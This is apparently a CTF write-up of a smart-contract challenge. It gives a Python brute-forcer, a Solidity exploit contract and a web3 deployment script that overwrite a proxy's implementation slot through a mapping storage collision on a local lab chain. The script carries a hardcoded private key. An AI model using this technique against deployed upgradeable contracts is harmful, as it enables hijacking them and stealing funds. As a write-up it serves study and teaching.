<-->

 

Find a storage collision!

 

The mapping(uint256 => string) public FlagNames is stored in slot 6. To brute-force it, focus on cases where the string length is 32 or greater.

 

When the ID is 56488061, the implementation slot of proxy is 141 slots apart.

 

from Crypto.Hash import keccak
from tqdm import tqdm

def compute_flagnames_length_slot(key: int, base_slot: int = 0) -> str:
    key_bytes = key.to_bytes(32, byteorder='big')
    slot_bytes = base_slot.to_bytes(32, byteorder='big')

    hasher = keccak.new(digest_bits=256)
    hasher.update(key_bytes + slot_bytes)
    length_slot_hex = "0x" + hasher.hexdigest()
    return length_slot_hex

def compute_data_slot(length_slot_hex: str, offset: int = 0) -> str:
    length_slot_no_0x = length_slot_hex[2:]  
    length_slot_bytes = bytes.fromhex(length_slot_no_0x)

    hasher2 = keccak.new(digest_bits=256)
    hasher2.update(length_slot_bytes)
    data_offset_hex = "0x" + hasher2.hexdigest()
    return data_offset_hex


target_hashes_hex = [
    "0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb",
    "0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6"
]
target_hashes_int = [int(h, 16) for h in target_hashes_hex]

def is_within_tolerance(slot_hex: str, targets: list[int], tolerance: int = 1000) -> bool:
    slot_val = int(slot_hex, 16)
    for t in targets:
        if abs(slot_val - t) <= tolerance:
            return True
    return False

def main():
    for i in [6]:
        print(f"[+] Starting search for i={i}")
        for j in tqdm(range(0, 100000000), desc=f"i={i}"):
            length_slot_hex = compute_flagnames_length_slot(j, i)
            data_slot_hex = compute_data_slot(length_slot_hex, offset=0)

            if is_within_tolerance(data_slot_hex, target_hashes_int, tolerance=10000):
                print(f"Found! i={i}, j={j}, data_slot={data_slot_hex}")
                break

if __name__ == "__main__":
    main()

 

 

contract Solve {
    Setup public setup;
    CryptoFlags public cryptoFlags;

    constructor(address _setup){
        setup = Setup(_setup);
        cryptoFlags = CryptoFlags(setup.cryptoFlags());
    }

    function solve(bytes memory answer) public {
        cryptoFlags.claimFlag(56488061);
        cryptoFlags.setFlagName(56488061, string(answer));
    }

    function isSolved() external pure returns (bool) {
        return true;
    }
}

 

import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("http://10.244.0.1:8545"))

#Check Connection
t=w3.is_connected()
print(t)

# Get env
prikey = '0x4ca9a10b1f99cba18cb244c1737286e59f2da53b71d535126b3db6de3d0cead3'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

SETUP = "0x2d2174DA255968410293bc12bb6cCa11905b8eD0"

def solve_deploy():
    f = open("solve.abi", "r"); contract_abi= f.read(); f.close()
    f = open("solve.bin", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SETUP).build_transaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def solve():
    f = open('solve.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SOLVE, abi=abi)
    addr = b"\x00" * 12 + long_to_bytes(int(SOLVE, 16))
    func_call = contract.functions["solve"](addr * 150).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

SOLVE = solve_deploy()
solve()

'writeups' 카테고리의 다른 글

lakectf 2025 qual - silly, hopfield  (0) 2024.12.08
2024 Blaz CTF - solana challs  (0) 2024.10.08
2024 codegate - sms  (0) 2024.09.04
SekaiCTF 2024 - solana  (0) 2024.08.26
CrewCTF 2024 - blockchain(lightbook)  (0) 2024.08.05

+ Recent posts